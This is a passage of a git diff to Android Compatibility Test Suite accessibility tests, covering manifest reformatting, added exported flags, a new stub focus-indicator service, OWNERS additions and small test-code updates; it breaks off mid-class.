diff --git a/tests/ProcessTest/NoShareUidApp/Android.bp b/tests/ProcessTest/NoShareUidApp/Android.bp
index e5582de..1d11c3e 100644
--- a/tests/ProcessTest/NoShareUidApp/Android.bp
+++ b/tests/ProcessTest/NoShareUidApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "NoShareUidApp",
     defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/ShareUidApp/Android.bp b/tests/ProcessTest/ShareUidApp/Android.bp
index 9457f14..7dc727e 100644
--- a/tests/ProcessTest/ShareUidApp/Android.bp
+++ b/tests/ProcessTest/ShareUidApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "ShareUidApp",
     defaults: ["cts_defaults"],
diff --git a/tests/acceleration/Android.bp b/tests/acceleration/Android.bp
index 51911f9..a5e4027 100644
--- a/tests/acceleration/Android.bp
+++ b/tests/acceleration/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAccelerationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 91ce26b..1512068 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "CtsAccessibilityCommon",
     sdk_version: "test_current",
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index 4a7348d..bf3b1a8 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2012 The Android Open Source Project
  *
@@ -17,79 +16,83 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.view.accessibility.cts"
-          android:targetSandboxVersion="2">
+     package="android.view.accessibility.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-            android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
         <service android:name=".SpeakingAccessibilityService"
-                 android:label="@string/title_speaking_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_speaking_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/speaking_accessibilityservice" />
+                 android:resource="@xml/speaking_accessibilityservice"/>
         </service>
 
         <service android:name=".VibratingAccessibilityService"
-                 android:label="@string/title_vibrating_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_vibrating_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/vibrating_accessibilityservice" />
+                 android:resource="@xml/vibrating_accessibilityservice"/>
         </service>
 
         <service android:name=".SpeakingAndVibratingAccessibilityService"
-                 android:label="@string/title_speaking_and_vibrating_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_speaking_and_vibrating_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/speaking_and_vibrating_accessibilityservice" />
+                 android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
         </service>
 
         <service android:name=".AccessibilityButtonService"
-                 android:label="@string/title_accessibility_button_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_accessibility_button_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/accessibility_button_service" />
+                 android:resource="@xml/accessibility_button_service"/>
         </service>
 
-        <activity
-            android:label="@string/some_description"
-            android:name=".DummyActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/some_description"
+             android:name=".DummyActivity"
+             android:screenOrientation="locked"/>
 
         <activity android:name=".AccessibilityShortcutTargetActivity"
-                  android:label="@string/shortcut_target_title">
+             android:label="@string/shortcut_target_title"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET" />
+                <category android:name="android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityshortcut.target"
-                       android:resource="@xml/shortcut_target_activity"/>
+                 android:resource="@xml/shortcut_target_activity"/>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.view.accessibility.cts"
-                     android:label="Tests for the accessibility APIs.">
+         android:targetPackage="android.view.accessibility.cts"
+         android:label="Tests for the accessibility APIs.">
         <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/accessibility/OWNERS b/tests/accessibility/OWNERS
index e54f581..0d2264c 100644
--- a/tests/accessibility/OWNERS
+++ b/tests/accessibility/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44214
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 3f5d8c7..0f7db14 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAccessibilityServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index cdc8a64..038af75 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -16,202 +16,192 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.accessibilityservice.cts"
-          android:targetSandboxVersion="2">
+     package="android.accessibilityservice.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-                 android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:label="@string/accessibility_end_to_end_test_activity"
-            android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_end_to_end_test_activity"
+             android:name=".activities.AccessibilityEndToEndActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_query_window_test_activity"
-            android:name=".activities.AccessibilityWindowQueryActivity"
-            android:supportsPictureInPicture="true"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_query_window_test_activity"
+             android:name=".activities.AccessibilityWindowQueryActivity"
+             android:supportsPictureInPicture="true"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_view_tree_reporting_test_activity"
-            android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_view_tree_reporting_test_activity"
+             android:name=".activities.AccessibilityViewTreeReportingActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
-            android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
+             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_text_traversal_test_activity"
-            android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_text_traversal_test_activity"
+             android:name=".activities.AccessibilityTextTraversalActivity"
+             android:screenOrientation="locked"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
              android:screenOrientation="locked"/>
 
-        <activity
-            android:label="Full screen activity for gesture dispatch testing"
-            android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:theme="@style/Theme_NoSwipeDismiss"
-            android:screenOrientation="locked" />
+        <activity android:label="Full screen activity for gesture dispatch testing"
+             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
+             android:theme="@style/Theme_NoSwipeDismiss"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_soft_keyboard_modes_activity"
-            android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity" />
+        <activity android:label="@string/accessibility_soft_keyboard_modes_activity"
+             android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_display_test_parent_activity"
-            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
-            android:theme="@android:style/Theme.Dialog"
-            android:screenOrientation="locked" />
+        <activity android:label="@string/accessibility_embedded_display_test_parent_activity"
+             android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
+             android:theme="@android:style/Theme.Dialog"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_display_test_activity"
-            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
-            android:screenOrientation="locked" />
+        <activity android:label="@string/accessibility_embedded_display_test_activity"
+             android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_hierarchy_test_activity"
-            android:name=".AccessibilityEmbeddedHierarchyTest$AccessibilityEmbeddedHierarchyActivity"
-            android:theme="@android:style/Theme.Dialog"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_embedded_hierarchy_test_activity"
+             android:name=".AccessibilityEmbeddedHierarchyTest$AccessibilityEmbeddedHierarchyActivity"
+             android:theme="@android:style/Theme.Dialog"
+             android:screenOrientation="locked"/>
 
-        <service
-            android:name=".StubSystemActionsAccessibilityService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubSystemActionsAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_system_actions_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_system_actions_a11y_service"/>
         </service>
 
-        <service
-                android:name=".StubGestureAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubGestureAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_gesture_dispatch_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_gesture_dispatch_a11y_service"/>
         </service>
 
-        <service
-                android:name=".GestureDetectionStubAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".GestureDetectionStubAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_gesture_detect_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_gesture_detect_a11y_service"/>
         </service>
 
-        <service
-                android:name=".TouchExplorationStubAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".TouchExplorationStubAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_touch_exploration_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_touch_exploration_a11y_service"/>
         </service>
-        <service
-            android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
-            android:label="@string/title_soft_keyboard_modes_accessibility_service"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
+             android:label="@string/title_soft_keyboard_modes_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_soft_keyboard_modes_accessibility_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_soft_keyboard_modes_accessibility_service"/>
         </service>
 
-        <service
-            android:name=".StubMagnificationAccessibilityService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubMagnificationAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_magnification_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_magnification_a11y_service"/>
         </service>
 
-        <service
-            android:name=".StubFingerprintGestureService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubFingerprintGestureService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_fingerprint_gesture_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_fingerprint_gesture_service"/>
         </service>
 
-        <service
-            android:name=".StubAccessibilityButtonService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubAccessibilityButtonService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_accessibility_button_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_accessibility_button_service"/>
         </service>
 
-        <service
-            android:name=".StubTakeScreenshotService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubTakeScreenshotService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_take_screenshot_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_take_screenshot_service"/>
         </service>
 
+        <service android:name=".StubFocusIndicatorService"
+                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accessibilityservice"
+                       android:resource="@xml/stub_focus_indicator_service"/>
+        </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.accessibilityservice.cts"
-        android:label="Tests for the accessibility APIs.">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.accessibilityservice.cts"
+         android:label="Tests for the accessibility APIs.">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
 
     </instrumentation>
 
diff --git a/tests/accessibilityservice/OWNERS b/tests/accessibilityservice/OWNERS
index e54f581..0d2264c 100644
--- a/tests/accessibilityservice/OWNERS
+++ b/tests/accessibilityservice/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44214
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 7b6be1e..03de62d 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -194,4 +194,6 @@
     <!-- String title of accessibility embedded hierarchy test activity -->
     <string name="accessibility_embedded_hierarchy_test_activity">Accessibility embedded hierarchy test</string>
 
+    <string name="stub_focus_indicator_service_description">com.android.accessibilityservice.cts.StubFocusIndicatorService</string>
+
 </resources>
diff --git a/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
new file mode 100644
index 0000000..a27c7ca
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:description="@string/stub_focus_indicator_service_description"
+/>
\ No newline at end of file
diff --git a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
index 33c5ec8..5797079 100644
--- a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
@@ -20,7 +20,7 @@
         android:description="@string/stub_touch_exploration_a11y_service_description"
         android:accessibilityEventTypes="typeAllMask"
         android:accessibilityFeedbackType="feedbackGeneric"
-        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds|flagSendMotionEvents"
         android:canRequestTouchExplorationMode="true"
         android:canRetrieveWindowContent="true"
         android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
index ece2fbf..30b878c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
@@ -253,7 +253,8 @@
         @Override
         public void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            mActivityView = new ActivityView(this, null, 0, false, true);
+            mActivityView = new ActivityView.Builder(this)
+                    .setUsePublicVirtualDisplay(true).build();
             setContentView(mActivityView);
         }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 4166213..1b003e3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -18,6 +18,7 @@
 
 import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
@@ -458,7 +459,7 @@
                             .setSmallIcon(android.R.drawable.stat_notify_call_mute)
                             .setContentIntent(PendingIntent.getActivity(mActivity, 0,
                                     new Intent(),
-                                    PendingIntent.FLAG_CANCEL_CURRENT))
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE))
                             .setTicker(message)
                             .setContentTitle("")
                             .setContentText("")
@@ -699,9 +700,11 @@
         assertFalse(hasTooltipShowing(R.id.buttonWithTooltip));
         assertThat(ACTION_SHOW_TOOLTIP, in(buttonNode.getActionList()));
         assertThat(ACTION_HIDE_TOOLTIP, not(in(buttonNode.getActionList())));
-        sUiAutomation.executeAndWaitForEvent(() -> buttonNode.performAction(
-                ACTION_SHOW_TOOLTIP.getId()),
-                filterForEventType(AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED),
+        sUiAutomation.executeAndWaitForEvent(
+                () -> buttonNode.performAction(ACTION_SHOW_TOOLTIP.getId()),
+                filterForEventTypeWithAction(
+                        AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
+                        ACTION_SHOW_TOOLTIP.getId()),
                 DEFAULT_TIMEOUT_MS);
 
         // The button should now be showing the tooltip, so it should have the option to hide it.
@@ -813,7 +816,9 @@
         // Perform an action and wait for an event
         sUiAutomation.executeAndWaitForEvent(
                 () -> button.performAction(AccessibilityNodeInfo.ACTION_CLICK),
-                filterForEventType(AccessibilityEvent.TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+                filterForEventTypeWithAction(
+                        AccessibilityEvent.TYPE_VIEW_CLICKED, AccessibilityNodeInfo.ACTION_CLICK),
+                DEFAULT_TIMEOUT_MS);
 
         // Make sure the MotionEvent.ACTION_OUTSIDE is received.
         verify(listener, timeout(DEFAULT_TIMEOUT_MS).atLeastOnce()).onTouch(any(View.class),
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index b7ccc19..d0d513a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -14,8 +14,11 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
 
@@ -27,26 +30,38 @@
 import static org.junit.Assert.fail;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Environment;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.view.Display;
 import android.view.View;
-import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 import java.util.LinkedList;
@@ -61,30 +76,50 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityFocusAndInputFocusSyncTest {
+    /**
